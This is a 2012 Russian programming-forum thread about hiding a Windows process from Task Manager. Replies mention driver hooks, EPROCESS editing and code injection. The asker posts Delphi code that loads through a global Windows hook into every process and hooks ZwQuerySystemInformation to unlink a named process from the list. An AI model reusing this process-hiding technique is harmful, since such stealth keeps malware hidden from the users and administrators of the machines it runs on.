Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Низкоуровневое программирование > Win Api
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 28.04.2012, 19:24   #1
Кольша
Далеко не
Участник клуба
 
Аватар для Кольша
 
Регистрация: 11.08.2011
Сообщений: 1,512
По умолчанию Скрыться от taskmanager'a или как запуститься в taskhost?

Всем привет задался тут вопросом исключительно в своих целях и во благо как можно скрыться от диспетчера задач?? Или как запуститься в taskhost'e почему в нем?да просто нашел исходник плеера какого то и обнаружил что он запускаеться в taskhost и если убить его то прога все равно работает весь исх. перерыл не нашел как так.

Последний раз редактировалось Кольша; 28.04.2012 в 19:28.
Кольша вне форума Ответить с цитированием
Старый 28.04.2012, 20:50   #2
Rock-n-Rolla
Форумчанин
 
Регистрация: 11.01.2012
Сообщений: 177
По умолчанию

http://pblog.ru/?p=317
Цитата:
В архиве так же есть пример скрытия процесса lsass.exe.
progromore.i2p - первый русскоязычный портал программистов в скрытосети
Rock-n-Rolla вне форума Ответить с цитированием
Старый 29.04.2012, 06:00   #3
Кольша
Далеко не
Участник клуба
 
Аватар для Кольша
 
Регистрация: 11.08.2011
Сообщений: 1,512
По умолчанию

нет не подходит там dll'ка используется
Кольша вне форума Ответить с цитированием
Старый 29.04.2012, 13:45   #4
rpy3uH
добрый няша
Старожил
 
Аватар для rpy3uH
 
Регистрация: 29.10.2006
Сообщений: 4,804
По умолчанию

Цитата:
Сообщение от Кольша Посмотреть сообщение
нет не подходит там dll'ка используется
как вариант можно сделать внедрение конкретно в диспетчер, в этом случае DLL не обязательна, но задача усложняется
rpy3uH вне форума Ответить с цитированием
Старый 29.04.2012, 19:04   #5
Sam Gold
Форумчанин
 
Аватар для Sam Gold
 
Регистрация: 26.03.2010
Сообщений: 538
По умолчанию

Цитата:
как можно скрыться от диспетчера задач??
Также можно написать драйвер, который перехватывает ZwQuerySystemIformation, но в Win Vista и Win7 не проканает. Или править структуры EPROCESS. В Win Vista и Win7 работать будет, но будут и проблемы.
Единственный способ стать умнее - играть с более умным противником.
Sam Gold вне форума Ответить с цитированием
Старый 29.04.2012, 19:16   #6
Кольша
Далеко не
Участник клуба
 
Аватар для Кольша
 
Регистрация: 11.08.2011
Сообщений: 1,512
По умолчанию

мне нужно что бы без лишних файлов все в одном exe
Кольша вне форума Ответить с цитированием
Старый 29.04.2012, 19:33   #7
rpy3uH
добрый няша
Старожил
 
Аватар для rpy3uH
 
Регистрация: 29.10.2006
Сообщений: 4,804
По умолчанию

Цитата:
Сообщение от Кольша Посмотреть сообщение
мне нужно что бы без лишних файлов все в одном exe
написать базонезависимый код, который осуществляет перехват функции ZwQuerySystemINformation и внедрять его во все процессы или только в task manager, но это уже не так надёжно
rpy3uH вне форума Ответить с цитированием
Старый 29.04.2012, 19:49   #8
Кольша
Далеко не
Участник клуба
 
Аватар для Кольша
 
Регистрация: 11.08.2011
Сообщений: 1,512
По умолчанию

Код:
unit Hider;
interface
uses
  Windows,
  ExtendedAPIFunctions, 
  apihooktools;

const
  MutexName='__API_HOOK';

var
  SH:HHOOK = 0;
  MutexHandle:THandle;
  HiddenProcess:widestring = 'AIMP3.exe';

  SystemFunctionBridge:TFunctionRestoreData;
procedure hideprocess(hp:widestring);
implementation
function NewSystemFunction(ASystemInformationClass: DWORD; ASystemInformation: Pointer;
   ASystemInformationLength: DWORD; AReturnLength:PCardinal): NTStatus; stdcall;
var
  info,back_Proc:PSYSTEM_PROCESSES;
begin
  UnHookCodeHook(@SystemFunctionBridge);
  Result:=ZwQuerySystemInformation(ASystemInformationClass,ASystemInformation,ASystemInformationLength,AReturnLength);
  SetCodeHook(SystemFunctionBridge.Address,@NewSystemFunction,@SystemFunctionBridge);
  
  if ASystemInformationClass<>SystemProcessesAndThreadsInformation then exit;
  if Result<>STATUS_SUCCESS then exit;

  info:= ASystemInformation;
  repeat
    if lstrcmpiW(info^.ProcessName.Buffer, PWideChar(HiddenProcess))=0 then
     begin
      back_Proc^.NextEntryDelta:=back_Proc^.NextEntryDelta+info^.NextEntryDelta;
        {делаем так что бы предыдущая запись указывала на следующию тем самым
         пропуская текущюю, именно так и достигается скрытие процесса}
     end;
    back_Proc:=info;
    Info := pointer(dword(info) + info^.NextEntryDelta);
  until Info^.NextEntryDelta = 0;
end;

function MsgProc(code:DWORD;wParam,lparam:DWORD):DWORD;stdcall;
begin
  Result:=CallNextHookEx(SH,code,wParam,lparam);
end;

procedure SetWindowsHook(e:Boolean); stdcall;
var
  M:THandle;
begin
  if e then
   begin
    M:=CreateMutex(0,false,MutexName);
    if GetLastError<>ERROR_ALREADY_EXISTS then
     begin
     SH:=SetWindowsHookEx(WH_GETMESSAGE,@MsgProc,HInstance,0);
     MutexHandle:=M;
    end                                   else
    CloseHandle(M);
   end
       else
   begin
    UnhookWindowsHookEx(SH);
    CloseHandle(MutexHandle);
   end;
end;
      
procedure DLLEntryPoint(dwReason:DWord);
begin
  case dwReason of
    DLL_PROCESS_ATTACH:
     begin
     // StopProcess(GetCurrentProcessId);
      SetWindowsHook(true);
      SetProcedureHook(GetModuleHandle('ntdll.dll'),'ZwQuerySystemInformation',@NewSystemFunction,@SystemFunctionBridge);
     // ResumeProcess(GetCurrentProcessId);
     end;
    DLL_PROCESS_DETACH:
     begin
     // StopProcess(GetCurrentProcessId);
      UnHookCodeHook(@SystemFunctionBridge);
      SetWindowsHook(false);
      //ResumeProcess(GetCurrentProcessId);
     end;
   end;
end;
procedure hideprocess(hp:widestring);
begin
hiddenprocess:=hp;
   DllProc:= @DLLEntryPoint; 
   DLLEntryPoint(DLL_PROCESS_ATTACH);
   end;
вот часть кода без вот
Код:
ExtendedAPIFunctions, 
  apihooktools
этих юнитов в dll работает на ура а вот в exe не хочет!
Кольша вне форума Ответить с цитированием
Старый 29.04.2012, 19:58   #9
rpy3uH
добрый няша
Старожил
 
Аватар для rpy3uH
 
Регистрация: 29.10.2006
Сообщений: 4,804
По умолчанию

этот код основывается на том что при установке любого хука (стандартного виндового хука), DLL с обработчиком загружается во все процессы. собственно, это и есть самый простой способ внедрить свой код во все процессы. но можно это делать вручную, но эта задача явялется на порядок сложной чем с помощью DLL
rpy3uH вне форума Ответить с цитированием
Старый 29.04.2012, 20:08   #10
Кольша
Далеко не
Участник клуба
 
Аватар для Кольша
 
Регистрация: 11.08.2011
Сообщений: 1,512
По умолчанию

можно попожробней ссылки и подобное.P.S где то прочитал что можно сделать dll'ку типа системной что она вместе с explorer'om запускаеться, но как это сделать?
Кольша вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Как сохранить область на странице вhtml или как картинку или в pdf ? xxxsas PHP 0 10.12.2011 12:02
Не удалось найти компонент, Приложению не удалось запуститься, поскольку name.dll не был найлен Terikon Общие вопросы Delphi 2 10.11.2011 23:06
приложению не удалось запуститься, поскольку vcl06.bpl не был найден Byurrer Общие вопросы C/C++ 4 02.04.2011 19:10
Код для Borland C запуститься на Builder? fs444 C++ Builder 1 17.09.2009 16:11
как заставить запуститься эту графику Aion Паскаль, Turbo Pascal, PascalABC.NET 2 15.12.2008 20:07